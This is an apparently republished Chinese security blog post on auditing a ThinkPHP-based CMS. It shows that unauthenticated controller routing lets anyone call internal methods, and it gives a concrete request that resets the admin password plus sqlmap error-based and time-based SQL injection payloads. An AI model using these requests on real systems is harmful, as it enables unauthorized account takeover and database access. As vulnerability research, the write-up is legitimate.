前言
PHP CMS入口在哪里?
这里的某腾CMS在最早期的挖掘过程中,作为代码审计练手的案例,给了我很多审计上面的经验
某腾CMS是基于ThinkPHP二次开发的内容管理系统,在某些方面继承了ThinkPHP的框架漏洞
常见的命令执行利用方法是修复了的,但是自带的组件,比如Ueditor组件没有做鉴权,导致了文件上传等漏洞,下面是详细的审计文档
该PHP CMS主页截图如下
咱们来看下CMS的入口在哪里,ThinkPHP的对应路径访问方法遵从以下的规则:
application路径下查看文件,根据以下对应的请求路径得到
m=mingteng&c=Uploadify&a=upload
m --> 目录
c --> controller文件
a --> 方法
/application文件夹内容如下,参数m可以指定访问的文件夹名称,这里有common、home、mingteng都可以访问下面的文件和对应方法
请求传参m=mingteng&c=Uploadify&a=fileList,调用fileList方法为查看temp目录下的所有文件
这样捋清楚了请求方法,就能调用每个文件里面的方法且没有权限验证,一个个试结合代码审计,总能出洞
挖掘案例
SQL注入出洞就是那么简单
在代码审计的过程中,我在控制器Index.php中发现了和数据库相关的参数名称
没有权限验证也可以调用该changeTableVal中的方法
构造:
https://xxxx/index.php?m=mingteng&c=Index&a=changeTableVal&table=admin&id_name=admin_1&id_value=1&field=password&value=49ba59abbe56e057
对照down下来的sql样例文件,构造一个类似的修改数据库功能路径,SQL语句执行是没有权限验证的。这里构造的第一步table为存在的表名,id_name设为不存在的键值
此处存在update语句的SQL注入漏洞,可以使用sqlmap进行验证
Parameter: id_name (GET)
Type: error-based
Title: MySQL >=5.6 error-based -Parameter replace (GTID_SUBSET)
Payload: m=mingteng&c=Index&a=changeTableVal&table=admin&id_name=GTID_SUBSET(CONCAT(0x716b786b71,(SELECT (ELT(4471=4471,1))),0x71706a7a71),4471)&id_value=1&field=password&value=49ba59abbe56e057
Type: time-based blind
Title: MySQL >=5.0.12time-based blind -Parameter replace (substraction)
Payload: m=mingteng&c=Index&a=changeTableVal&table=admin&id_name=(SELECT7655FROM (SELECT(SLEEP(5)))GTMX)&id_value=1&field=password&value=49ba59abbe56e057
关于某腾的PHP CMS的代码审计的记录文档,已经放在团队的最新Freebuf知识大陆中,只是个红队内部小圈子
用友U8cloud,是用友推出的新一代云ERP,主要聚焦成长型、创新型企业,提供企业级云ERP整体解决方案。用友U8Cloud在全版本中存在反序列化漏洞。未经授权的攻击者可以通过访问FileTransportServlet类时构造恶意请求包。
华天动力OA存在多个历史漏洞,结合源码进行分析。华天动力是我国首批OA企业,是双软认证的高新技术企业,专注OA办公系统20余年,开放免费OA系统下载试用,旗下OA产品累计为37500多个客户提供高效OA办公体验。
致远A8,又称致远互联A8协同管理软件,是面向中型、大型、集团型组织(集团版OA)的数字化协同运营中台。A8版本的系统小版本较多,本次分析用的是致远A8 V7 SP1版本源码。
END
关注Code4th安全团队
了解更多安全相关内容~
原文始发于微信公众号(Code4th安全团队):手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论